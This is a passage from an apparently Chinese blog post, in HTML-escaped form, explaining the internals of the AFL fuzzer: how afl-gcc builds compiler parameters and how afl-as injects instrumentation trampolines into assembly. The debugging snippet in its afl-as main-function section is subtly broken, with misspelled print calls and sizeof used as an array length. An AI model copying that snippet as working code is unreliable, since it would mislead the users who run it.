&lt;li&gt;如果不存在环境变量 &lt;code&gt;AFL_PATH&lt;&#x2F;code&gt; ，检查 &lt;code&gt;argv[0]&lt;&#x2F;code&gt; （如“&#x2F;Users&#x2F;v4ler1an&#x2F;AFL&#x2F;afl-gcc”）中是否存在 “&#x2F;” ，如果存在则取最后“&#x2F;” 前面的字符串作为 &lt;code&gt;dir&lt;&#x2F;code&gt;，然后检查 &lt;code&gt;dir&#x2F;afl-as&lt;&#x2F;code&gt; 是否可以访问，如果可以，将 &lt;code&gt;as_path = dir&lt;&#x2F;code&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;以上两种方式都失败，抛出异常。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;核心作用：将 &lt;code&gt;argv&lt;&#x2F;code&gt; 拷贝到 &lt;code&gt;u8 **cc_params &lt;&#x2F;code&gt;，然后进行相应的处理。&lt;&#x2F;p&gt;
&lt;p&gt;函数内部的大概流程如下：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] afl-gcc main() 控制流：按 argv[0] 名经环境变量定 cc_params[0] 并置 clang_mode；识别 -B、-fsanitize=address|memory、_FORTIFY_SOURCE；追加 -B as_path、clang 下 -no-integrated-as；AFL_HARDEN 加栈保护、fortify_set 加 -D_FORTIFY_SOURCE=2，与 ASAN&#x2F;MSAN 冲突 FATAL；默认 -g -O2 -funroll-loops。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;code&gt;ch_alloc()&lt;&#x2F;code&gt; 为 &lt;code&gt;cc_params&lt;&#x2F;code&gt; 分配大小为 &lt;code&gt;(argc + 128) * 8&lt;&#x2F;code&gt; 的内存（u8的类型为1byte无符号整数）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查 &lt;code&gt;argv[0]&lt;&#x2F;code&gt; 中是否存在&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;，如果不存在则 &lt;code&gt;name = argv[0]&lt;&#x2F;code&gt;，如果存在则一直找到最后一个&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;，并将其后面的字符串赋值给 &lt;code&gt;name&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对比 &lt;code&gt;name&lt;&#x2F;code&gt;和固定字符串&lt;code&gt;afl-clang&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;若相同，设置&lt;code&gt;clang_mode = 1&lt;&#x2F;code&gt;，设置环境变量&lt;code&gt;CLANG_ENV_VAR&lt;&#x2F;code&gt;为1&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对比&lt;code&gt;name&lt;&#x2F;code&gt;和固定字符串&lt;code&gt;afl-clang++&lt;&#x2F;code&gt;:：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;若相同，则获取环境变量&lt;code&gt;AFL_CXX&lt;&#x2F;code&gt;的值，如果存在，则将该值赋值给&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;，否则将&lt;code&gt;afl-clang++&lt;&#x2F;code&gt;赋值给&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;。这里的&lt;code&gt;cc_params&lt;&#x2F;code&gt;为保存编译参数的数组；&lt;&#x2F;li&gt;
&lt;li&gt;若不相同，则获取环境变量&lt;code&gt;AFL_CC&lt;&#x2F;code&gt;的值，如果存在，则将该值赋值给&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;，否则将&lt;code&gt;afl-clang&lt;&#x2F;code&gt;赋值给&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果不相同，并且是Apple平台，会进入 &lt;code&gt;#ifdef __APPLE__&lt;&#x2F;code&gt;。在Apple平台下，开始对 &lt;code&gt;name&lt;&#x2F;code&gt; 进行对比，并通过 &lt;code&gt;cc_params[0] = getenv(&quot;&quot;)&lt;&#x2F;code&gt; 对&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;进行赋值；如果是非Apple平台，对比 &lt;code&gt;name&lt;&#x2F;code&gt; 和 固定字符串&lt;code&gt;afl-g++&lt;&#x2F;code&gt;（此处忽略对Java环境的处理过程）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;若相同，则获取环境变量&lt;code&gt;AFL_CXX&lt;&#x2F;code&gt;的值，如果存在，则将该值赋值给&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;，否则将&lt;code&gt;g++&lt;&#x2F;code&gt;赋值给&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;若不相同，则获取环境变量&lt;code&gt;AFL_CC&lt;&#x2F;code&gt;的值，如果存在，则将该值赋值给&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;，否则将&lt;code&gt;gcc&lt;&#x2F;code&gt;赋值给&lt;code&gt;cc_params[0]&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;进入 while 循环，遍历从&lt;code&gt;argv[1]&lt;&#x2F;code&gt;开始的&lt;code&gt;argv&lt;&#x2F;code&gt;参数：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果扫描到 &lt;code&gt;-B&lt;&#x2F;code&gt; ，&lt;code&gt;-B&lt;&#x2F;code&gt;选项用于设置编译器的搜索路径，直接跳过。（因为在这之前已经处理过&lt;code&gt;as_path&lt;&#x2F;code&gt;了）；&lt;&#x2F;li&gt;
&lt;li&gt;如果扫描到 &lt;code&gt;-integrated-as&lt;&#x2F;code&gt;，跳过；&lt;&#x2F;li&gt;
&lt;li&gt;如果扫描到 &lt;code&gt;-pipe&lt;&#x2F;code&gt;，跳过；&lt;&#x2F;li&gt;
&lt;li&gt;如果扫描到 &lt;code&gt;-fsanitize=address&lt;&#x2F;code&gt; 和 &lt;code&gt;-fsanitize=memory&lt;&#x2F;code&gt; 告诉 gcc 检查内存访问的错误，比如数组越界之类，设置 &lt;code&gt;asan_set = 1；&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;如果扫描到 &lt;code&gt;FORTIFY_SOURCE&lt;&#x2F;code&gt; ，设置 &lt;code&gt;fortify_set = 1&lt;&#x2F;code&gt; 。&lt;code&gt;FORTIFY_SOURCE&lt;&#x2F;code&gt; 主要进行缓冲区溢出问题的检查，检查的常见函数有&lt;code&gt;memcpy, mempcpy, memmove, memset, strcpy, stpcpy, strncpy, strcat, strncat, sprintf, vsprintf, snprintf, gets&lt;&#x2F;code&gt; 等；&lt;&#x2F;li&gt;
&lt;li&gt;对 &lt;code&gt;cc_params&lt;&#x2F;code&gt; 进行赋值：&lt;code&gt;cc_params[cc_par_cnt++] = cur;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;跳出 &lt;code&gt;while&lt;&#x2F;code&gt; 循环，设置其他参数：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;取出前面计算出的 &lt;code&gt;as_path&lt;&#x2F;code&gt; ，设置 &lt;code&gt;-B as_path&lt;&#x2F;code&gt; ；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果为 &lt;code&gt;clang_mode&lt;&#x2F;code&gt; ，则设置&lt;code&gt;-no-integrated-as&lt;&#x2F;code&gt;； 3. 如果存在环境变量 &lt;code&gt;AFL_HARDEN&lt;&#x2F;code&gt;，则设置&lt;code&gt;-fstack-protector-all&lt;&#x2F;code&gt;。且如果没有设置 &lt;code&gt;fortify_set&lt;&#x2F;code&gt; ，追加 &lt;code&gt;-D_FORTIFY_SOURCE=2&lt;&#x2F;code&gt; ；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;sanitizer相关，通过多个if进行判断：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果 &lt;code&gt;asan_set&lt;&#x2F;code&gt; 在前面被设置为1，则设置环境变量 &lt;code&gt;AFL_USE_ASAN&lt;&#x2F;code&gt; 为1；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;asan_set&lt;&#x2F;code&gt; 不为1且，存在 &lt;code&gt;AFL_USE_ASAN&lt;&#x2F;code&gt; 环境变量，则设置&lt;code&gt; -U_FORTIFY_SOURCE -fsanitize=address&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果不存在 &lt;code&gt;AFL_USE_ASAN&lt;&#x2F;code&gt; 环境变量，但存在 &lt;code&gt;AFL_USE_MSAN&lt;&#x2F;code&gt; 环境变量，则设置&lt;code&gt;-fsanitize=memory&lt;&#x2F;code&gt;（不能同时指定&lt;code&gt;AFL_USE_ASAN&lt;&#x2F;code&gt;或者&lt;code&gt;AFL_USE_MSAN&lt;&#x2F;code&gt;，也不能同时指定 &lt;code&gt;AFL_USE_MSAN&lt;&#x2F;code&gt; 和 &lt;code&gt;AFL_HARDEN&lt;&#x2F;code&gt;，因为这样运行时速度过慢；&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果不存在 &lt;code&gt;AFL_DONT_OPTIMIZE&lt;&#x2F;code&gt; 环境变量，则设置&lt;code&gt;-g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;如果存在 &lt;code&gt;AFL_NO_BUILTIN&lt;&#x2F;code&gt; 环境变量，则表示允许进行优化，设置&lt;code&gt;-fno-builtin-strcmp -fno-builtin-strncmp -fno-builtin-strcasecmp -fno-builtin-strncasecmp -fno-builtin-memcmp -fno-builtin-strstr -fno-builtin-strcasestr&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;最后补充&lt;code&gt;cc_params[cc_par_cnt] = NULL;&lt;&#x2F;code&gt;，&lt;code&gt;cc_params&lt;&#x2F;code&gt; 参数数组编辑完成。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;er-aflde-cha-zhuang-afl-as-c&quot;&gt;（二）、AFL的插桩 —— afl-as.c&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;afl-gcc&lt;&#x2F;code&gt; 是 GNU as 的一个wrapper（封装），唯一目的是预处理由 GCC&#x2F;clang 生成的汇编文件，并注入包含在 &lt;code&gt;afl-as.h&lt;&#x2F;code&gt; 中的插桩代码。 使用 &lt;code&gt;afl-gcc &#x2F; afl-clang&lt;&#x2F;code&gt; 编译程序时，工具链会自动调用它。该wapper的目标并不是为了实现向 &lt;code&gt;.s&lt;&#x2F;code&gt; 或 &lt;code&gt;asm &lt;&#x2F;code&gt; 代码块中插入手写的代码。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;experiment&#x2F;clang_asm_normalize&#x2F;&lt;&#x2F;code&gt; 中可以找到可能允许 clang 用户进行手动插入自定义代码的解决方案，GCC并不能实现该功能。&lt;&#x2F;p&gt;
&lt;p&gt;在开始函数代码分析前，首先要明确几个关键变量：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;static u8** as_params;          &#x2F;* Parameters passed to the real &#x27;as&#x27;，传递给as的参数   *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static u8*  input_file;         &#x2F;* Originally specified input file ，输入文件     *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static u8*  modified_file;      &#x2F;* Instrumented file for the real &#x27;as&#x27;，as进行插桩处理的文件  *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static u8   be_quiet,           &#x2F;* Quiet mode (no stderr output) ，静默模式，没有标准输出       *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            clang_mode,         &#x2F;* Running in clang mode?    是否运行在clang模式           *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            pass_thru,          &#x2F;* Just pass data through?   只通过数据           *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            just_version,       &#x2F;* Just show version?        只显示版本   *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            sanitizer;          &#x2F;* Using ASAN &#x2F; MSAN         是否使用ASAN&#x2F;MSAN           *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static u32  inst_ratio = 100,   &#x2F;* Instrumentation probability (%)  插桩覆盖率    *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            as_par_cnt = 1;     &#x2F;* Number of params to &#x27;as&#x27;    传递给as的参数数量初始值         *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;注：如果在参数中没有指明 &lt;code&gt;--m32&lt;&#x2F;code&gt; 或 &lt;code&gt;--m64&lt;&#x2F;code&gt; ，则默认使用在编译时使用的选项。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-mainhan-shu-1&quot;&gt;2. main函数&lt;&#x2F;h5&gt;
&lt;p&gt;main 函数全部逻辑如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-main-function-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210826112710.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;首先获取环境变量 &lt;code&gt;AFL_INST_RATIO&lt;&#x2F;code&gt; ，赋值给 &lt;code&gt;inst_ratio_str&lt;&#x2F;code&gt;，该环境变量主要控制检测每个分支的概率，取值为0到100%，设置为0时则只检测函数入口的跳转，而不会检测函数分支的跳转；&lt;&#x2F;li&gt;
&lt;li&gt;通过 &lt;code&gt;gettimeofday(&amp;amp;tv,&amp;amp;tz);&lt;&#x2F;code&gt;获取时区和时间，然后设置 &lt;code&gt;srandom()&lt;&#x2F;code&gt; 的随机种子 &lt;code&gt;rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;edit_params(argc, argv)&lt;&#x2F;code&gt; 函数进行参数处理；&lt;&#x2F;li&gt;
&lt;li&gt;检测 &lt;code&gt;inst_ratio_str&lt;&#x2F;code&gt; 的值是否合法范围内，并设置环境变量 &lt;code&gt;AFL_LOOP_ENV_VAR&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;读取环境变量``AFL_USE_ASAN&lt;code&gt;和&lt;&#x2F;code&gt;AFL_USE_MSAN&lt;code&gt;的值，如果其中有一个为1，则设置&lt;&#x2F;code&gt;sanitizer&lt;code&gt;为1，且将&lt;&#x2F;code&gt;inst_ratio`除3。这是因为在进行ASAN的编译时，AFL无法识别出ASAN特定的分支，导致插入很多无意义的桩代码，所以直接暴力地将插桩概率&#x2F;3；&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;add_instrumentation()&lt;&#x2F;code&gt; 函数，这是实际的插桩函数；&lt;&#x2F;li&gt;
&lt;li&gt;fork 一个子进程来执行 &lt;code&gt;execvp(as_params[0], (char**)as_params);&lt;&#x2F;code&gt;。这里采用的是 fork 一个子进程的方式来执行插桩。这其实是因为我们的 &lt;code&gt;execvp&lt;&#x2F;code&gt; 执行的时候，会用 &lt;code&gt;as_params[0]&lt;&#x2F;code&gt; 来完全替换掉当前进程空间中的程序，如果不通过子进程来执行实际的 &lt;code&gt;as&lt;&#x2F;code&gt;，那么后续就无法在执行完实际的as之后，还能unlink掉modified_file；&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;waitpid(pid, &amp;amp;status, 0)&lt;&#x2F;code&gt; 等待子进程执行结束；&lt;&#x2F;li&gt;
&lt;li&gt;读取环境变量 &lt;code&gt;AFL_KEEP_ASSEMBLY&lt;&#x2F;code&gt; 的值，如果没有设置这个环境变量，就unlink掉 &lt;code&gt;modified_file&lt;&#x2F;code&gt;(已插完桩的文件)。设置该环境变量主要是为了防止 &lt;code&gt;afl-as&lt;&#x2F;code&gt; 删掉插桩后的汇编文件，设置为1则会保留插桩后的汇编文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;可以通过在main函数中添加如下代码来打印实际执行的参数：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;print(&quot;\n&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;for (int i = 0; i &amp;lt; sizeof(as_params); i++){&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  peinrf(&quot;as_params[%d]:%s\n&quot;, i, as_params[i]);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-instrumented-assembly.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210827111516.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在插桩完成后，会生成 &lt;code&gt;.s&lt;&#x2F;code&gt; 文件，内容如下（具体的文件位置与设置的环境变量相关）：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] test-instr.c 编译产物的 x86_64 汇编截图，红框标出 AFL 插入的桩代码：注释 &#x2F;* --- AFL TRAMPOLINE (64-BIT) --- &lt;em&gt;&#x2F; 后 .align 4，先 leaq -(128+24)(%rsp),%rsp 开辟空间保存 %rdx&#x2F;%rcx&#x2F;%rax，movq $0x0000ba83,%rcx 装入随机码后 call __afl_maybe_log，再逆序恢复寄存器与栈，以 &#x2F;&lt;&#x2F;em&gt; --- END --- *&#x2F; 结束，旁注「插入的桩代码」。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;code&gt;add_instrumentation&lt;&#x2F;code&gt; 函数负责处理输入文件，生成 &lt;code&gt;modified_file&lt;&#x2F;code&gt; ，将 &lt;code&gt;instrumentation&lt;&#x2F;code&gt; 插入所有适当的位置。其整体控制流程如下：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] afl-as.c add_instrumentation() 控制流：逐行 fgets 读汇编，按 skip_intel&#x2F;skip_app&#x2F;skip_csect、.p2align（clang_mode）、-5&#x2F;.textl 等条件跳过，匹配 .text&#x2F;.cod 段与标签后，当 R(100) &amp;lt; inst_ratio 时输出 trampoline_fmt_64&#x2F;32 桩代码并 inst_lines++；文件打开失败即 FATAL，结束时打印插桩行数与 OKF 信息。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;整体逻辑看上去有点复杂，但是关键内容并不算很多。在main函数中调用完 &lt;code&gt;edit_params()&lt;&#x2F;code&gt; 函数完成 &lt;code&gt;as_params&lt;&#x2F;code&gt; 参数数组的处理后，进入到该函数。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;判断 &lt;code&gt;input_file&lt;&#x2F;code&gt; 是否为空，如果不为空则尝试打开文件获取fd赋值给 &lt;code&gt;inf&lt;&#x2F;code&gt;，失败则抛出异常；&lt;code&gt;input_file&lt;&#x2F;code&gt; 为空则 &lt;code&gt;inf&lt;&#x2F;code&gt; 设置为标准输入；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;打开 &lt;code&gt;modified_file&lt;&#x2F;code&gt; ，获取fd赋值给 &lt;code&gt;outfd&lt;&#x2F;code&gt;，失败返回异常；进一步验证该文件是否可写，不可写返回异常；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;while&lt;&#x2F;code&gt; 循环读取 &lt;code&gt;inf&lt;&#x2F;code&gt; 指向文件的每一行到 &lt;code&gt;line&lt;&#x2F;code&gt; 数组，每行最多 &lt;code&gt;MAX_LINE = 8192&lt;&#x2F;code&gt;个字节（含末尾的‘\0’），从&lt;code&gt;line&lt;&#x2F;code&gt;数组里将读取到的内容写入到 &lt;code&gt;outf&lt;&#x2F;code&gt; 指向的文件，然后进入到真正的插桩逻辑。这里需要注意的是，插桩只向 &lt;code&gt;.text&lt;&#x2F;code&gt; 段插入，：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先跳过标签、宏、注释；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;这里结合部分关键代码进行解释。需要注意的是，变量 &lt;code&gt;instr_ok&lt;&#x2F;code&gt; 本质上是一个flag，用于表示是否位于&lt;code&gt;.text&lt;&#x2F;code&gt;段。变量设置为1，表示位于 &lt;code&gt;.text&lt;&#x2F;code&gt; 中，如果不为1，则表示不再。于是，如果&lt;code&gt;instr_ok&lt;&#x2F;code&gt; 为1，就会在分支处执行插桩逻辑，否则就不插桩。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先判断读入的行是否以‘\t’ 开头，本质上是在匹配&lt;code&gt;.s&lt;&#x2F;code&gt;文件中声明的段，然后判断&lt;code&gt;line[1]&lt;&#x2F;code&gt;是否为&lt;code&gt;.&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;if (line[0] == &#x27;\t&#x27; &amp;amp;&amp;amp; line[1] == &#x27;.&#x27;) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* OpenBSD puts jump tables directly inline with the code, which is&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         a bit annoying. They use a specific format of p2align directives&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         around them, so we use that as a signal. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (!clang_mode &amp;amp;&amp;amp; instr_ok &amp;amp;&amp;amp; !strncmp(line + 2, &quot;p2align &quot;, 8) &amp;amp;&amp;amp;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          isdigit(line[10]) &amp;amp;&amp;amp; line[11] == &#x27;\n&#x27;) skip_next_label = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (!strncmp(line + 2, &quot;text\n&quot;, 5) ||&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          !strncmp(line + 2, &quot;section\t.text&quot;, 13) ||&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          !strncmp(line + 2, &quot;section\t__TEXT,__text&quot;, 21) ||&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          !strncmp(line + 2, &quot;section __TEXT,__text&quot;, 21)) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        instr_ok = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       continue;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (!strncmp(line + 2, &quot;section\t&quot;, 8) ||&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          !strncmp(line + 2, &quot;section &quot;, 8) ||&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          !strncmp(line + 2, &quot;bss\n&quot;, 4) ||&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          !strncmp(line + 2, &quot;data\n&quot;, 5)) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        instr_ok = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        continue;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      }&lt;&#x2F;code&gt;&lt;br 